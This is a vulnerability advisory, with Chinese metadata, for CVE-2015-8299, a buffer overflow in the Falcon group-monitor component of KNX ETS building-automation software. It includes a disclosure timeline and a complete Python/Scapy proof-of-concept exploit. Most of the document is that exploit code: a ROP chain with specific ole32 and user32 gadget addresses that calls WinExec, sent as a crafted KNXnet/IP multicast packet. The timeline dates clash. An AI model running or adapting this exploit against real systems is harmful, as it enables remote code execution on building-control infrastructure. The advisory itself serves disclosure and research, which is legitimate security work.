
CVE-2015-8299 Advisory and PoC
KNX 管理软件 ETS 中的远程代码执行漏洞
缓冲区溢出漏洞
ETS (工程工具软件)
未测试其他版本
未知
KNX 协会
严重
CVE-2015-8299
2013-10-11 发现漏洞2013-10-?? 首次联系供应商,供应商未回应2013-07-30 第二次联系供应商,供应商未回应2013-10-06 第三次联系供应商,供应商未回应2015-07-14 联系 cve-request@mitre。2015-11-23 披露Aljosha Judmayer [email protected] (SBA Research)
该漏洞由解析组消息监控器(又称 Falcon)中特制的 KNXnet/IP 数据包时 memcpy 操作中的缓冲区溢出引起。下面提供了一个在安装了受影响 ETS 版本的 Windows XP SP3 上测试的概念验证(PoC)利用代码。该 PoC 利用代码生成触发漏洞的 UDP 数据包,至少会导致应用程序崩溃(需要 Python 和 Scapy 才能运行)。
由于这只是一个 PoC,ROP 链并未仔细选择,可能需要调整才能在您的系统上复现所需结果。
knAx.py:
#!/usr/bin/env python
""" ETS4 buffer overflow exploit PoC
This is a Proof-of-Concept (PoC) remote exploit of a ETS4 which is
currently running the monitoring software for group messages aka.
"Groupenmonitor". This feature of the ETS4 runs an executable called
"Falcon.exe" which is vulnerable to a buffer overflow.
The vulnerable function gets called at:
0043C994 call overflow_43C743
This function, which is responsible for the overflow, is located at 0x43c743.
The "memcpy" which produces the overflow gets called at:
0043C931 call memcpy
Vulnerable version:
ETS 4.1.5 (Build 3246)
Stammdaten: Version 57, Schema 1.1
registry key: "NET Framework Setup"
v2.0.50727 -version 2.2.30729
v4 -version 4.0.30319
ETS4.exe
LegalCopyright: Copyright \xa9 2010-2012 KNX Association cvba, Brussels, Belgium
Assembly Version: 4.1.3246.36180
InternalName: ETS4.exe
FileVersion: 4.1.3246.36180
CompanyName: KNX Association cvba
Comments: ETS4 Application
ProductName: ETS4
ProductVersion: 4.1.3246.36180
FileDescription: ETS4
OriginalFilename: ETS4.exe
Falcon.exe
LegalCopyright: Copyright (C) 2000-2008 KNX Association, Brussels, Belgium
InternalName: Falcon
FileVersion: 2.0.5184.4346
CompanyName: KNX Association
SpecialBuild: 2011.01.16
LegalTrademarks: KNX Association
OLESelfRegister:
ProductVersion: 2.0
FileDescription: Falcon
OriginalFilename: Falcon.ex
Tested on:
Windows XP SP3 32bit
This exploit uses return-oriented-programming techniques. The gadgets used for ROP are:
ole32.dll:"0x774fdb5b","33c0c3","0x774fdb5b: xor eax, eax | 0x774fdb5d: ret | "
ole32.dll:"0x77550f6f","83c064c3","0x77550f6f: add eax, 64h | 0x77550f72: ret | "
ole32.dll:"0x774ff447","03c4c24e77","0x774ff447: add eax, esp | 0x774ff449: ret 774eh | "
user32.dll:"0x7e467666","94c3","0x7e467666: xchg esp, eax | 0x7e467667: ret | "
The exploit requires root privelages to send the crafted packet and
the scapy python module!
PoC and vuln. discovery
by aljosha judmayer
"""
from struct import pack,unpack
from scapy.all import *
# --- variables ---
ip_dest = "224.0.23.12"
udp_dport = 3671
udp_sport = 3671
sys_iface = "vboxnet0" # <= CHANGE ME! to external network interface
# ---
knxhdr="\x06\x10\x05\x30\x01\xb2"
knxmsg="\xac\x01\x81\xa9\xe3\xac\xcb\x44\xff\xa2\x67\xcd\x03\x6f\x05\xe4\x58\x19\xae\x65\x1b\x14\x38\x4d\x83\x60\x06"
padding="\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
def test():
""" this should terminate the Falcon.exe process """
exit="\xfa\xca\x81\x7c" # ExitProcess 0x7c81cafa, or 0xffffffff for seg fault
sendpayload(knxhdr + knxmsg + padding + exit)
return
def exploit():
"""
This constructs a ROP payload and sends it.
Because of stack manipulation after the overflow we need to jump
over some bytes. Therefore the esp is increased.
"""
eip = pack("<L",0x774fdb5b) # xor eax,eax ;zero out register
eip += pack("<L",0x77550f6f) # add eax,64h ;add jump distance
eip += pack("<L",0x774ff447) # add eax,esp ;add the current position of esp
eip += pack("<L",0x7e467666) # xchg esp,eax ;load the new esp address
# --- padding ret-sled as NOP-sled
eip += pack("<L",0x77550f72)*28 # ret ;use ret as nop
# --- str chunk 1
eip += pack("<L",0x7752f82a) # pop ecx ;load string
eip += "calc" # "calc" ;string
eip += pack("<L",0x774faf34) # pop eax ;load dst. address
eip += pack("<L",0x7ffdf8f4) # f4f8fd7f ;dst address
eip += pack("<L",0x77593502) # mov [eax], ecx ;copy ecx to [eax]
# --- str chunk 2
eip += pack("<L",0x7752f82a) # pop ecx ;load string
eip += ".exe" # ".exe" ;string
eip += pack("<L",0x774faf34) # pop eax ;load dst. address
eip += pack("<L",0x7ffdf8f4+4) # f4f8fd7f +4 ;dst address + 4
eip += pack("<L",0x77593502) # mov [eax], ecx ;copy str. to dst.
# --- call WinExec()
eip += pack("<L",0x7c8623ad) # address of WinExec()
eip += pack("<L",0x7c81cafa) # ret after WinExec(), into ExitProcess 0x7c81cafa
eip += pack("<L",0x7ffdf8f4) # address of string
#DEBUG
#ostr = "\\x".join("{:02x}".format(ord(c)) for c in eip)
#print "\\x%s" %ostr
sendpayload(knxhdr + knxmsg + padding + eip)
return
def sendpayload(payload):
""" send scapy udp payload """
pkt=Ether(dst="01:00:5e:00:17:0c")/IP(dst=ip_dest)/UDP(dport=udp_dport,sport=udp_sport)/payload
#pkt.show2() #DEBUG
hexdump(pkt)
sendp(pkt, iface=sys_iface)
return
def sendpkt(pkt):
""" send scapy pkt on layer 2, no auto stuff """
#pkt.show2() #DEBUG
hexdump(pkt)
sendp(pkt, iface=sys_iface)
return
def main():
exploit()
return 0
if __name__ == "__main__":
sys.exit(main())